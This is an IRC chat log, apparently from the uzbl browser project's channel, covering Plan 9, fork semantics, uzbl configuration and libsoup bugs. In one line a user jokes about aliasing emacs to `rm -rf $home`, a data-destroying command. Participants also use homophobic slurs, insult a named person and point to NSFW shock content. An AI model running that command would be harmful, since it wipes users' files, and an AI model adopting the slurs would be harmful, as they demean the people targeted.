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20:01 < scj> are there any linux distros that are using p9 by default?
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20:03 < scj> or a rather, any p9 distros with a linux kernel?
20:03 < dxdx> oh shit
20:03 < jrm8005> scj: there's plan9port
20:03 < jrm8005> you can't run plan9 stuff on a linux kernel
20:03 < jrm8005> plan 9 is not just another Unix.
20:03 < jrm8005> the syscalls are all different.
20:04 < jrm8005> (there's also no such thing as a distro. Everything is maintained by Bell Labs and the 50 or so users)
20:06 < scj> what I am apparently failing to say is: is there any linux distro that uses p2p instead of gnu?
20:06 < jrm8005> no.
20:06 < scj> s/p2p/p9p
20:06 < jrm8005> p9p doesn't bring a ton of things in, either.
20:06 < jrm8005> it gives you sam, acme, most of the command line stuff, and rio
20:07 < jrm8005> as well as the pdf and image readers.
20:07 < jrm8005> there's no graphics editor or audio players, so
20:08 < uranther> there is glendix
20:09 < uranther> http://www.glendix.org/
20:09 < jrm8005> uranther: I work on glendix. It's not working at all
20:09 < jrm8005> we're like pre pre pre alpha .000001
20:09 < uranther> oh :P
20:09 < uranther> lulz
20:09 < jrm8005> we don't even have all the syscalls working.
20:09 < jrm8005> I think the only actual plan9 program working without recompile is cat.
20:09 < uranther> glendix will be sweet if it ever is complete
20:10 < jrm8005> indeed it shall.
20:10 < jrm8005> when glendix is done, I will finally be happy.
20:10 < jrm8005> plan9 has linuxemu, which can run things like Firefox, but plan9 doesn't support all my hardware, otherwise I'd run native.
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20:16 < dxdx> i just noticed that i'm developing all this javascript and cookies stuff for uzbl, but i'm not using it at all
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20:32 < jrm8005> dxdx: ?
20:33 < uranther> dxdx, i don't use uzbl
20:33 < dxdx> jrm8005: not using it for daily browsing, i mean
20:33 < holizz> uranther, I don't use computers.
20:33 < uranther> D:
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20:33 < jrm8005> dxdx: I'm still trying to integrate it
20:34 < jrm8005> and I imagine by the end of today, I'll be using it full time
20:38  * ruskie removed all the other gecko browsers so far... though I think I'll need to bring back one just for the client side ssl stuff
20:40 < jrm8005> wow, uzbl can't render slashdot at all.
20:40 < jrm8005> and the fun part is: it looks better this way.
20:41 < ruskie> :)
20:42 < holizz> jrm8005, Looks the same to me.
20:42 < jrm8005> mybe my side is busted
20:42 < jrm8005> /me hopes it doesn't get fixed
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20:44 < Dieterbe> jrm8005: it's just accessible_slashdot = 1
20:45 < jrm8005> lol
20:46 < holizz> Anybody know Spanish? I got an @reply about uzbl in Spanish, and Google Translate isn't helping too much.
20:46 < Dieterbe> tech stuff should not be discussed in anything other then english :)
20:46 < jrm8005> hablo español
20:47 < dxdx> holizz: me, and "holizz" sounds like a weird way to say "hola" ("hello")
20:47 < holizz> Dieterbe, They probably had the same thought after they sent it, as it appears to not exist anymore. Just in Google Reader.
20:47 < holizz> dxdx, I've actually seen "holizz" used on the Interwebs. So it's some kind of internet slang for hello, maybe?
20:47 < jrm8005> holizz: pm me with the text, I'll translate as best I can
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20:48 < holizz> tiene sentido imitar uzbl tan rpido?
20:48 < dxdx> holizz: not really, it's more like a girly way (read: faggy) to say it
20:49 < dxdx> "does it make sense to imitate uzbl so quickly?"
20:49 < jrm8005> ^^
20:49 < ukl> is it possible to bind Space to something? (bind " " = foo ?)
20:50 < scj> ukl: not atm
20:50 < jrm8005> who's imimtating uzbl?
20:50 < scj> jrm8005: holizz is making a python clone
20:50 < jrm8005> ah
20:50 < holizz> dxdx, Thanks.
20:51 < ukl> scj: ok... thanks
20:51 < jrm8005> hey, does anyone know how to make gtk not override the WM cursor theme?
20:51 < uranther> holizz, seppo?
20:51 < ktne> how do i go forward?
20:51 < jrm8005> ktne: look at the config
20:51 < holizz> uranther, Yes, @seppo0010.
20:51 < uranther> i talk to that kid in spanish on twitter sometimes :P
20:52 < Dieterbe> the idea of a python based uzbl clone is not bad.  it's slower but more flexible.  But, if we're moving to the filesystem based approach then it probably doesn't make much sense anymore
20:52 < uranther> Dieterbe, is that the plan? a plan9-like fs? for our config and whatever else
20:52 < Dieterbe> not sure yet
20:53 < scj> Dieterbe: we still don't have a way of binding handlers to arbitrary webkit signals
20:53 < scj> which you apparently can in the python cloen
20:53 < scj> clone*
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20:53 < holizz> uranther, Cool. Do they speak English? I wanna reply.
20:54 < uranther> holizz, yeah he does
21:00 < dxdx> scj: but it is not impossible in C
21:02 < scj> obviously. if you can do it in python, you can do it in C
21:02 < jrm8005> scj: the FS would probably be able to do that.
21:02 < jrm8005> well, you would write a program that listened to the FS.
21:03 < dxdx> jrm8005: we'd still have to write the code that connects signals, only that it would be connected to FS, not to handlers
21:03 < jrm8005> actually, if a /uzbl/js file were implemented, you could cat your JS into that, and then have uzbl listen to it's own file.
21:04 < jrm8005> dxdx: ok, I don't know much about how the signals work. I'm assuming you can somehow wrap them up into some kind of message, but maybe that's not true.
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21:18 < jrm8005> oh, also, another thing that makes the FS good... I don't know which FIFO to talk to in a script.
21:18 < jrm8005> they all have numbers. I could glob it, but that's not what I want. With an FS, there would be a /uzbl/ctl file that I know I could rely on
21:18 < dxdx> jrm8005: you wouldn't know which FS to talk to
21:20 < jrm8005> dxdx: they would all go in one FS.
21:20 < jrm8005> each instance of uzbl would have a numbered directory under there.
21:21 < jrm8005> look at plan9's /net
21:21 < scj> how would that differ from globbing fifo_dir?
21:21 < dxdx> jrm8005: then the FUSE code would have to be out of uzbl
21:21 < jrm8005> scj: it would pick, or let you pick
21:22 < jrm8005> something like echo open in focused $url > /uzbl/ctl
21:22 < jrm8005> or echo open in new > /uzbl/ctl
21:22 < jrm8005> dxdx: not necessarily.
21:24 < dxdx> jrm8005: hmm, let's see, keeping alive the first instance that claims the filesystem doesn't seem like good idea, what did you think?
21:25 < jrm8005> dxdx: have you heard of fork() ?
21:25 < dxdx> to daemonize?
21:25 < dxdx> that is just like keeping alive
21:25 < jrm8005> ugh.
21:25 < jrm8005> you don't know what you're talking about.
21:25 < Dieterbe> jrm8005> something like echo open in focused $url > /uzbl/ctl --> well, you could easily do the same by finding the focused instance with wmctrl/xdotool/.. and then writing to /tmp/uzbl_fifo_<xorg-win-id-here>
21:26 < jrm8005> Dieterbe: yuck.
21:26 < dxdx> jrm8005: anyway, even I know that the right way is to have a manager process, not yet another uzbl instance that works differently
21:26 < Dieterbe> it may be a tad more complicated, but it's more transparanet then a monolithic FS that does those things for you
21:27 < jrm8005> Dieterbe: it's not clean.
21:27 < jrm8005> if you want the FS to be an interface, let the FS be a good interface.
21:27 < jrm8005> think of all running uzbls as a process group
21:28 < jrm8005> with a group leader running the FS (whether separate from uzbl or forked off on startup)
21:28 < jrm8005> the FS is an interface to all uzbls
21:29 < dxdx> oh, forked off on startup makes sense
21:29 < dxdx> but it would be just like having a different process to handle the FS
21:29 < jrm8005> dxdx: except you don't have to start it by hand.
21:29 < jrm8005> and, if it dies, it can be respawned by the child uzbls.
21:31 < dxdx> children can also respawn a different process (and would be cleaner since it wouldn't get the same memory space)
21:31 < jrm8005> dxdx: actually, it would be better if they did share memory space.
21:31 < scj> jrm8005: are you t3hdoctor on reddit?
21:31 < jrm8005> they won't stomp on each other with COW.
21:31 < dxdx> jrm8005: how/why?
21:31 < jrm8005> but will share pages.
21:32 < jrm8005> scj: now why would you ask that? :P
21:32 < dxdx> jrm8005: COW=?
21:32 < dxdx> oh, i'm stupid
21:32 < jrm8005> at this point, I'd like to just go `nyah, I'm right', but I'll refrain.
21:33 < dxdx> lol
21:33 < dxdx> (i always google acronyms, even if i was just thinking about that before the acronym was mentioned, that is why i'm stupid)
21:33 < scj> jrm8005: just a hunch I got from looking at the uzbl thread on r/linux
21:33 < dxdx> jrm8005: and how is sharing pages a good thing?
21:33 < jrm8005> smaller memory footprint.
21:34 < jrm8005> scj: good hunch
21:34 < Dieterbe> scj: r/linux?
21:34 < jrm8005> that and it's faster to use COW than it is to move all the pages into memory.
21:34 < scj> Dieterbe: reddit.com/r/linux
21:34 < dxdx> jrm8005: but huge memory footprint if the OS doesn't support COW
21:34 < jrm8005> what OS doesn't?
21:34 < dxdx> plan9 (?)
21:34 < dxdx> i don't know
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21:35 < jrm8005> no, you don't know, and honestly, you're sounding worse by the second.
21:35 < dxdx> ..
21:35 < jrm8005> Plan 9 obviously supports this basic feature since it was not made by morons.
21:35 < dxdx> hey guys, i've found this great site, yhbt.net
21:36 < Dieterbe> huh o_O
21:37 < jrm8005> what is it, like goatse.cx or something?
21:37 < dxdx> back to the topic. jrm8005: do you really care about the difference in memory footprint between a forked process and a new process which could be a 200-line C file with no dependencies but FUSE?
21:37 < dxdx> jrm8005: no, it just says have a nice day
21:37 < jrm8005> dxdx: just think of fork() as using a thread.
21:37 < jrm8005> except you get better stability.
21:38 < jrm8005> instead of fork() and then exec(), which causes a whole program to be loaded in.
21:38 < jrm8005> honestly, if the API is going to be there already, you might as well put the FS code right there. You can ifdef it out if that's desired.
21:38 < dxdx> i just noticed this is bikeshed
21:38 < jrm8005> it all depends how gung-ho the devs are about the FS.
21:39 < jrm8005> and my choice of red for the bikeshed's color is OBVIOUSLY better than yours.
21:39 < Dieterbe> :0
21:40 < Dieterbe> dxdx: what does yhbt mean?
21:40 < dxdx> Dieterbe: you have been trolled
21:40 < dxdx> meant for jrm8005 when i said plan 9
21:40 < jrm8005> too bad I didn't look?
21:41 < dxdx> there wasn't anything to see, <title>YHBT.net</title> <body>HAND</body>
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21:41 < jrm8005> point being?
21:41 < Dieterbe> aaaaallright dudes
21:41 < dxdx> a indirect way of saying yhbt
21:42 < jrm8005> I do'nt know what that means.
21:42 < dxdx> *suddenly, Dieterbe gets op powers*
21:42 < dxdx> jrm8005: that you took a nonsensical mention of plan 9 too seriously
21:43 < jrm8005> sorry, I thought it was rather dumb, since everything has COW now, even NT IIRC
21:43 < Dieterbe> cow says "moooo"
21:43 < dxdx> wait, what? NT supports fork()?
21:43 < jrm8005> dxdx: how can it not have a fork()?
21:43 < dxdx> jrm8005: it's windows
21:43 < jrm8005> (it's called CreateProcess)
21:44 < jrm8005> dxdx: if you can't split off a new process, how is it going to do anything?
21:44 < dxdx> that isn't exactly fork()
21:44 < jrm8005> dxdx: it has different semantics. It is fork.
21:44 < dxdx> but you can't do half of the things that fork() allows
21:44 < jrm8005> dxdx: um. Cygwin does just fine.
21:45 < jrm8005> it's all there. No it's not as good as Unix, but it's all there.
21:45 < jrm8005> I encourage you to read up on this stuff.
21:45 < jrm8005> you seem to have lots of gaps.
21:46 < dxdx> maybe
21:46 < jrm8005> ?
21:46 < dxdx> nothing, that's just my idiotic part that doesn't like losing
21:47 < jrm8005> well, I kind of have worked on three OSs.
21:47 < dxdx> (i still can't believe you can use CreateProcess to do anything you can with fork())
21:47 < jrm8005> dxdx: there are some very very scary things that Cygwin does to make it work.
21:48 < Dieterbe> jrm8005: did you just encourage dxdx to read up on windows system calls? ;)
21:48 < ktne> is there any way i can reload the config without restarting the process?
21:48 < jrm8005> but by and large, it's the same thing. Put a new process on the runqueue, let them go. The second one process writes, copy the pages
21:48 < jrm8005> Dieterbe: no, I meant systems level stuff in general.
21:48 < Dieterbe> ktne: yes
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21:48 < dxdx> "Currently, the Cygwin fork is a non-copy-on-write implementation similar to what was present in early flavors of UNIX."
21:48 < dxdx> HA! there you have
21:48 < ktne> Dieterbe: and what would that way be?
21:48 < scj> ktne: you can bind foo = sh 'echo "$1" > "$4"'
21:48 < Dieterbe> ktne: the one mentioned in the sample config
21:48 < scj> s/echo/cat/
21:49 < jrm8005> dxdx: NT is COW
21:49 < jrm8005> AFAIK, maybe they lied.
21:49 < jrm8005> wouldn't be surprised.
21:49 < jrm8005> and the COW has nothing to do with fork(), so you're still wrong.
21:49 < jrm8005> just give up.
21:50 < dxdx> jrm8005: it seems that you don't want to admit you were wrong, either (in a very small detail, not in everything)
21:50 < jrm8005> I know I read NT is COW.
21:50 < jrm8005> maybe that was wrong.
21:51 < dxdx> cygwin's fork() is not COW, NT may be COW but that doesn't seem to allow a COW implementation of unix fork() for cygwin
21:51 < dxdx> that's it
21:51 < jrm8005> There's more to fork than that, and the COW stuff isn't handled by fork()
21:52 < jrm8005> it's done elsewhere, fork just has to mark them as shared
21:52 < jrm8005> which, if NT isn't COW, would not happen.
21:52 < jrm8005> anyway, I'm not going to argue about stupid shit like this with you.
21:53 < dxdx> yeah, i don't really care about NT and cygwin either
21:54 < jrm8005> NT needs to burn in hell.
21:54 < holizz> ktne: But that reload command can cause an uzbl process to crash, at least it does for me.
21:54 < jrm8005> it's just a crappy VMS clone that's now trying to be a crappy Unix ripoff
21:55 < ktne> holizz: happened here too
21:55 < jrm8005> Cutler is an idiot.
21:55 < dxdx> :D
21:55 < Dieterbe> cutler?
21:56 < dxdx> David Neil Cutler, Sr. (born March 13, 1942) is an American software engineer, designer and developer of several operating systems including the RSX-11M, VMS and VAXELN systems of Digital Equipment Corporation and Windows NT of Microsoft.
21:56 < jrm8005> ... Cutler is also known as a raging asshole.
21:57 < jrm8005> And if I were a vandal, the wikipedia would say that a lot.
21:57 < dxdx> wrong, it should be "Some argue that Cutler is also known as a raging asshole"
21:57 < dxdx> that is NPOV, yours is POV
21:58 < jrm8005> I should make a site arguing just that, so that I can legitimately put it on the wiki page :P
22:00 < dxdx> Proponents of the water is wet doctrine or concept claim that their belief is correct[1], however, critics point out that the vast majority of the doctrine is false[2]. Critics note that their claim suffers from circular logic, and accuse proponents of using ad hominems to further their argument[3]. Believers often lash out aggressively at those who point out that water is, in fact, dry. "Wet" water is often an assumed position, by definition[4]
22:01 < dxdx> (don't google that, NSFW)
22:01 < Dieterbe> you just gave me a reason to google it
22:01 < jrm8005> luckily it's sunday, so I can google it.
22:01 < dxdx> lol
22:02 < dxdx> well, then, that's a handy style guide for wikipedia
22:02 < jrm8005> oh, ED.
22:02 < Dieterbe> well. i never thought i would see _that_ picture again
22:02 < jrm8005> that site is amazing.
22:02 < dxdx> the weasel? it's cute
22:03 < jrm8005> wow. A splendid picture.jpg.
22:03 < jrm8005> that's kind of horrifying.
22:03 < dxdx> i told you
22:04 < scj> not the recommended way to store sausage
22:04 < jrm8005> no, it's cool. there are people I need to email it to.
22:04 < dxdx> lol'd
22:04 < holizz> dxdx, Second'd.
22:06 < jrm8005> so whose branch fixed the uzbl gmail suckage?
22:06 < scj> wasn't that a libsoup issue?
22:06 < dxdx> libsoup 2.27.2
22:06 < Dieterbe> wait.. now you're telling us you use gmail? :/
22:06 < jrm8005> oh, right.
22:07 < jrm8005> Dieterbe: I don't have a permanent address, so I can't really run my own server or domain.
22:07 < jrm8005> I am too lazy to have to redo everything every 3 months, since that's how often I move around.
22:07 < jrm8005> :(
22:07 < dxdx> gmail spam filter is the best thing ever
22:08 < jrm8005> I like Plan 9's upas mail system.
22:08 < Dieterbe> i see
22:08 < jrm8005> but it doesn't totally work in p9p
22:08 < holizz> Email is pants. Gmail makes it bearable.
22:08 < jrm8005> pants?
22:08 < jrm8005> yeah, I guess pants kind of suck.
22:09 < holizz> In other news, pants is the only item of clothing I am wearing (the British English "pants", not the other pants).
22:10 < dxdx> tmi
22:10 < jrm8005> has anyone seen the Encyclopaedia Dramatica Emacs page?
22:10 < holizz> ;)
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22:10 < dxdx> wait, what's the difference between british pants and others?
22:11 < dxdx> ...now that i think it, i don't really want to know
22:11 < holizz> dxdx, In British English, pants refers to underpants, while American English pants are trousers.
22:11 < jrm8005> american english blows.
22:11 < jrm8005> wait, holizz.... are you in britain?
22:12 < holizz> jrm8005, Yup.
22:12 < jrm8005> so, like... you can probably walk less than a mile and buy chocolate hobnob?
22:12 < holizz> I guess I could.
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22:12 < jrm8005> *sob* I fucking HATE america.
22:13 < jrm8005> you can't get hobnob anywhere in this lousy country.
22:13 < jrm8005> I have to have people mail it to me.
22:13 < holizz> That's terrible.
22:13 < dxdx> "Emacs is pwned by ed, the *standard text editor*"
22:13 < holizz> dxdx, I made a Facebook page for ed.
22:13 < jrm8005> I know... nothing that delicious should be allowed to be so far away.
22:13 < jrm8005> lol, what? ed has a facebook page?
22:14 < jrm8005> sam needs one, now.
22:14 < rson> is it possible to float things in the status bar to the right?
22:14 < dxdx> When I use an editor, I don't want eight extra KILOBYTES of worthless help screens and cursor positioning code!  I just want an EDitor!! Not a "viitor".  Not a "emacsitor".  Those aren't even WORDS!!!! ED! ED! ED IS THE STANDARD!!!
22:14 < jrm8005> I wish samitor was a word.
22:15 < jrm8005> sam is basically a much improved ed
22:15 < dxdx> http://dis.4chan.org/read/prog/1164217009/1
22:15 < holizz> jrm8005, If by "improved" you mean bloated.
22:15 < jrm8005> sam?
22:15 < joyfulgirl> !give jrm8005 ed
22:15 < uzblbot> joyfulgirl: Error: "give" is not a valid command.
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22:16 < holizz> -rwxr-xr-xš 1 rootš 5.89824e37 Oct 22š 1990 /usr/bin/emacs
22:16 < jrm8005> sam is twice as big as ed, which makes sense, considering it's made to handle multiple files and uses structural regular expressions.
22:17 < jrm8005> however, it's still a fraction of the size of the current vi clones.
22:17 < jrm8005> and probably a decillionth the size of emaccs.
22:17 < holizz> Multiple files? I thought uzbl demonstrated that that was a stupid feature?
22:17 < jrm8005> holizz: meh
22:17 < holizz> jrm8005, No _modern_ browser holds more than one page in memory at one time.
22:17 < jrm8005> sam lets you do things like apply a regex to multiple open filenames to select a chain of regexes to apply to them
22:18 < jrm8005> I'm not in the mood to troll fight
22:19 < Bram> is there a way to combine commande with uzbl ? I'm trying to do something like: sh "firefox `echo $6`" && exit
22:19 < holizz> Aw. Is it a symptom of Hobnob withdrawal?
22:19 < jrm8005> yes.
22:19 < jrm8005> if you want to mail me some, I can argue more.
22:19 < jrm8005> Bram: whaat?
22:20 < Bram> bind    F         = sh "firefox `echo -n $6`" && exit
22:20 < jrm8005> why the echo -n?
22:20 < Bram> this doesn't work and I want it to work, is it possible ?
22:21 < Bram> it's to open the current uri into firefox in the case uzbl can handle this page correctly
22:21 < jrm8005> no, what is the echo -n for?
22:21 < jrm8005> you just need the variable.
22:21 < scj> bind F = chain 'sh "firefox $6"' 'exit'
22:21 < Bram> thanks
22:21 < jrm8005> is the exit necessary?
22:22 < holizz> bind ff = sh 'firefox $6'
22:22 < jrm8005> if you do sh -c 'blah', when blah exits, the shell exits
22:22 < Bram> in that case yes
22:23 < jrm8005> I wish the right click menu had an exit option...
22:23 < Dieterbe>  holizz> jrm8005, No _modern_ browser holds more than one page in memory at one time. <-- so if you have 2GB of memory and 1GB free, you would prefer your browser swapping pages to disk?
22:23 < jrm8005> Dieterbe: I have no swap space... MUHUHAHA
22:23 < jrm8005> (but you're right)
22:24 < Dieterbe> we're not talking about OS level swapping/pages
22:24 < Dieterbe> but userland memory management
22:24 < Bram> jrm8005: well I want to exit uzbl, not the shell
22:24 < jrm8005> ah, true, they do handle their own caching that way...
22:24 < jrm8005> Bram: oh, I didn't know. I thought that was a shell exit.
22:24 < jrm8005> carry on...
22:25 < rson> Dieterbe: to your knowledge, can something in status_format float the contents to the right?
22:25 < scj> Bram: did you try chain 'sh "firefox $6"' 'exit'?
22:25 < holizz> jrm8005, No swap here either. SSD FTW.
22:25 < Bram> scj: yep and it doesn't work :/
22:25 < Bram> well the "exit" doesn't work
22:25 < jrm8005> holizz: I don't trust SSDs, but they're pretty badass.
22:26 < jrm8005> I have 4GB of RAM, so I don't bother with swap
22:26 < rson> Bram: chain 'sh "firefox $6"' 'killall uzbl' ?
22:26 < jrm8005> no, don't use killall.
22:26 < jrm8005> use pkill.
22:26 < rson> yeah, killall would remove all instances
22:26 < jrm8005> (I've been forced to use Slowlaris too much. Killall does exactly what it says there)
22:26 < Dieterbe> rson: not that i know. look at the pango format options, they may be away. not sure
22:26 < holizz> jrm8005, Aren't you lucky. I have an Eee with 512M RAM and 8G SSD. Oldskool.
22:26 < rson> Dieterbe: pango is the word i was looking for. thanks.
22:26 < scj> Bram: works for me :/
22:27 < jrm8005> holizz: I used to use a p3 craptop with 256MB ram.
22:27 < jrm8005> one day I woke up and said `I will never use lowend computers again'
22:27 < jrm8005> it was kind of like when I bought my 26in monitor and my nice office chair.
22:27 < jrm8005> I use this stuff 11 hours a day, 7 days a week. It's worth blowing extra $$ on.
22:28 < dxdx> jrm8005: lrwxrwxrwx 1 root root 16 abr 30 04:03 /bin/pidof -> ../sbin/killall5
22:28 < jrm8005> lol
22:28 < dxdx> no, really, that's how i have it
22:28 < Bram> scj: bind    F         = chain 'sh "firefox $6"' 'exit' did I make a mistake ?
22:28 < scj> Bram: bind argh = chain 'sh "firefox $6"' 'exit' should work. at least it does for me
22:28 < dxdx> and if you call killall5 with pidof as binary name, it works as pidof
22:28 < holizz> jrm8005, I still have a desktop (currenty acting as a place to connect three HDDs) with 256M. But it has 8GB of swap ;)
22:29 < scj> Bram: make sure you don't have any tabs in the bind statement
22:29 < jrm8005> holizz: I think that being forced to use that craptop made me realize how irrelevant shiny buttons and stuff are.
22:29 < Bram> scj: I don't use tabs
22:29 < dxdx> the man page says "pidof is simply a (symbolic) link to the killall5 program, which should also be located in /sbin."
22:29 < Bram> hum, I gonna compile the master
22:29 < Bram> 'm
22:29 < jrm8005> dxdx: similarly, I alias emacs to a script that runs `rm -rf $home'
22:30 < holizz> jrm8005, Shiny buttons have a well-defined purpose: being shiny.
22:30 < jrm8005> holizz: yes, quite.
22:30 < jrm8005> and since I find being shiny ugly, their sole puropose is to annoy me :P
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22:30 < jrm8005> dxdx: I honestly never use pidof, so
22:30 < jrm8005> news to me.
22:31 < jrm8005> http://uncyclopedia.wikia.com/wiki/Vi
22:31 < jrm8005> I started that ages ago.
22:32 < dxdx> yeah, and when i noticed that i tried just "killall5" expecting it to broadcast a signal that does nothing like pidof, but, well, you know what happened
22:32 < jrm8005> heheh
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22:33 < Bram> scj: still doesn't work, I don't understand why
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22:34 < holizz> Uncyclopedia is like ED for non-paedos.
22:34 < scj> uncylopedia is pretty much the unfunniest wiki on the internet
22:34 < jrm8005> yeah, ED is such crap
22:34 < jrm8005> scj: what? no way..
22:35 < scj> conservapedia.com, otoh, is the best
22:35 < holizz> jrm8005, Nah, you got it wrong. ED is the funnier one.
22:36 < jrm8005> ED is just sick.
22:37 < holizz> Well yeah, they do have a problem with racism, sexism, homophobia. And I hate them for it. But they do have some very funny articles.
22:38 < jrm8005> holizz: and some really really sick pictures.
22:39 < holizz> jrm8005, I've seen worse.
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22:43 < jrm8005> the uncyclopedia article on GNU Emacs is hilarious.
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22:43 < Cheeseum> lole luk at da new meme on ED so randum XDD
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22:48 < holizz> Fixed that problem with reloading the config causing crashes.
22:49 < scj> \o/ that's a pretty annoying bug
22:49 < holizz> Turns out set_icon was g_freeing uzbl.gui.icon, which is probably wrong.
22:50 < holizz> Yes, indeed. set_var_value g_frees values before they're reset. I understand C. Honest.
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22:51 < holizz> Dieterbe: http://github.com/holizz/uzbl/commit/b44c7c92a4aca54ee886dc2376d7a0868af223d6
22:59 < Dieterbe> yeah yeah
22:59 < Dieterbe> i'll put it on the todo lit
22:59 < Dieterbe> list
23:00 < jrm8005> so libsoup 2.27 did not fix.
23:00 < jrm8005> is there a particular minor version?
23:00 < jrm8005> I have 2.27.1
23:00 < uranther> holizz, i think i fixed that bug a long time ago :/
23:00 < jrm8005> maybe I need newer than that?
23:00 < Dieterbe> huge patch btw holizz :P
23:00 < Dieterbe> sorry uranther i still need to merge from you
23:02 < holizz> uranther, Oops. I'm only fetching from Dieterbe on a regular basis.
23:03 < uranther> of course :P no worries
23:04 < rson> Dieterbe: in case anyone else asks, there seems to be no way to right align anything in status_format
23:04 < Dieterbe> rson: well there always _is_ a way.  eg you could change the code in C :)
23:05 < rson> Dieterbe: i very well may do that for myself, but it would add unnecessary cruft.
23:06 < holizz> Why isn't the status bar a WebView? Then we could use CSS to do ti!
23:06 < Dieterbe> rson: yeah sure. it would be pretty ugly. i would never do something like that myself.
23:06 < uranther> the parser should ignore unnecessary space :/
23:06 < uranther> that's easy to implement
23:06 < uranther> holizz, isn't that done already with pango?
23:07 < holizz> uranther, I think pango's syntax is a subset of HTML.
23:07 < uranther> are you looking for more extensibility?
23:08 < holizz> uranther, Not really. But it would be really cool if the status bar was a WebView. Then all sorts of stupid things would be possible.
23:08 < uranther> this is true
23:09 < Cheeseum> pango is pretty silly
23:10 < holizz> status_format = "<marquee>.............
23:10 < uranther> lol..
23:10 < Cheeseum> glorious
23:12 < rson> holizz: epic
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23:14 < scj> a webview statusbar would be neat. then I could have a picture of a kitten visible at all times
23:15 < holizz> status_format = "<marquee><img src="kitten.jpg">.........
23:15 < scj> oh
23:16 < uranther> i think you want kitten.gif
23:16 < uranther> animated kitty
23:16 < Cheeseum> kitten.svg
23:16 < uranther> lol.. you could have flash in the statusbar
23:16 < uranther> that wouldn't be very practical though
23:16 < scj> hell yeah
23:16 < holizz> Why settle for Flash when you could have Silverlight?
23:17 < scj> I could have a looping keyboard cat
23:17 < Cheeseum> embed an audio file into the statusbar
23:18 < Dieterbe> haha
23:18 < Dieterbe> you guys are killing me
23:18 < holizz> status_format = "<video......
23:20 < scj> holizz: marquee doesn't werk :(
23:25 < holizz> scj: Not in pango, no. This is why we need to use a WebView.
23:26 < scj> yes. and you could make stuff clickable
23:27 < holizz> <img src="hamsterdance.gif"><img src="hamsterdance.gif"><img src="hamsterdance.gif"><img src="hamsterdance.gif"><img src="hamsterdance.gif">
23:31 < uranther> you could have a notification box for RSS or something
23:31 < uranther> and you can *click*
23:33 < Dieterbe> good night dudes
23:33 < holizz> Night.
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23:39 < uranther> open-pc.com
23:41 < uranther> their survey sucks.. i already finished it
23:48 < scj> wth. is the default browser/music player/DE really that important to people?
23:48 < uranther> yeah? exactly
23:49 < scj> they should have a "whatevs" option
23:50 < holizz> "What Target Group do we want to address with the Open-PC?" ... who are "we"?
23:52 < uranther> i think that's what they're trying to decide, but not doing a very good job at it
23:52 < scj> we == you, because you are making the pc for yourself. at least that is what I gathered from casually looking at the site
23:53 < holizz> "Which Desktop should run on the Open-PC?" ... GNOME, KDE, or Xfce? What? No awesome?
23:53 < scj> WM != DE
23:55 < holizz> scj: Good point. Then I'd complain at the lack of a "none" option.
23:55 < uranther> what no CDE? :)
23:55 < uranther> i wouldn't mind something like Fluxbuntu
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00:02 < holizz> After reading the PDF of the slides, I think I understand the idea. But why mix discussion of the hardware with the software in the survey? Probably more than half of the target market will install their own preferred distro anyway.
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00:13 < uranther> :3 this business model will fail
00:13 < uranther> at what they want to achieve anyways
00:14 < holizz> What they want to achieve is defined by the survey. So if they add a do-nothing option, and they do some ballot-stuffing, they can do-nothing and achieve exactly what they wanted to.
00:15 < uranther> they want to compete with EEEpc, dell and acer
00:15 < uranther> that won't happen
00:16 < holizz> Their first failure: not including uzbl on the option for browser. Their second failure: not achieving their goals.
00:17 < uranther> :P
00:32 < rntz> so. I have built uzbl (`make`, but not yet `make install`), and when I run ./uzbl, I cannot switch to insert mode, or indeed use any of the commands mentioned in the faq (ZZ doesn't quit, etc)
00:32 < rntz> am I doing something wrong?
00:32 < rntz> (I grabbed uzbl from git, not a tarball, if that matters)
00:32 < N30N> rntz: see the readme
00:34 < scj> rntz: uzbl doesn't have any defaults and you probably didn't provide a config
00:35 < rntz> scj: ah, the faq seemed to imply some set of defaults.
00:35 < rntz> after adding -c examples/config/uzbl/config, it works.
00:37 < scj> rntz: you're probably right, it should be pointed out in the "to new people" part
00:49 < jrm8005> does anyone know what version of libsoup fixes gmail?
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00:55 < scj> no idea, dxdx claimed that 2.27.2 fixed it for him
00:56 < jrm8005> ah, I have .1
00:56 < jrm8005> well, I'll give it a shot
00:59 < jrm8005> hey, there we go.
01:00 < jrm8005> sweet. I have no officially switched full time to uzbl.
01:00 < jrm8005> now*
01:00 < holizz> Welcome to the flock.
01:01 < holizz> My name's Arch. Do you want me to remove libreadline.so.5 and have basic things like /bin/sh fail?
01:01 < jrm8005> lol
01:02 < jrm8005> YES
01:02 < jrm8005> obviously.
01:03 < jrm8005> that reminds me of the last time I used FAGbuntu: ``Hai, I put a new libstdc++ in, but I borkeded it. So... um... you could probably upgrade, but the upgrader program won't work because the library is ded. You could maybe download it manually, but it still won't work.''
01:04 < jrm8005> at least when portage biffs up, it just goes ``Oh, I couldn't really merge this stuff, so here's what you should look at. Everything on your system is fine, though''
01:11 < holizz> Trying to fix: 1. download the PKGBUILD etc., 2. run makepkg 3. makepkg fails because libreadline.so.5 couldn't be found.
01:12 < holizz> I'm already holding four packages back because they fuck everything up and leave awesome completely unusable. This is getting annoying.
01:12 < jrm8005> oh, that's aweseom being stupid.
01:13 < DuClare> Thanks
01:14 < jrm8005> ?
01:14 < holizz> Copying over libreadline.so.5 from Debian seems to work.
01:16 < holizz> Regarding libsoup, Gmail is still broken using libsoup-2.26.3. At least, the chat thing is.
01:16 < jrm8005> holizz: I found that 2.27.2 works fine.
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01:27 < uranther> jrm8005, if your config file is sweetness you should post it on the wiki
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01:36 < jrm8005> my config file is pretty boring :P
01:37 < jrm8005> I just changed a couple of the keys, modified the download and bookmarks scripts in ways that won't help anyone, and changed the colors to be plan9-ish
01:42 < rson> ss?
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01:43 < jrm8005> ss?
01:43 < rson> screen shot?
01:43 < jrm8005> oh...
01:43 < jrm8005> erm
01:43 < jrm8005> sure
01:46 < jrm8005> erm... actually, I don't have anywhere to put my screenshot...
01:46 < jrm8005> so
01:47 < holizz> jrm8005, One of those free photo hosting sites?
01:47 < scj> imageshack?
01:47 < jrm8005> do you need an acct?
01:48 < scj> not on imageshack
01:48 < rson> omploader.org is nice
01:51 < jrm8005> http://img21.imageshack.us/img21/883/screenievks.jpg
01:51 < jrm8005> the crap at the lower left is just because my laptop screen and 26" monitor don't have the same resolution
01:51 < jrm8005> (I hate X11)
01:52 < uranther> jinkies.. so what distro is this?
01:52 < holizz> That's a sexy setup.
01:52 < jrm8005> gentoo
01:53 < uranther> using the userland from plan9 or whatchamacallit?
01:53 < jrm8005> yep
01:53 < jrm8005> so the thing behind Uzbl is Acme.
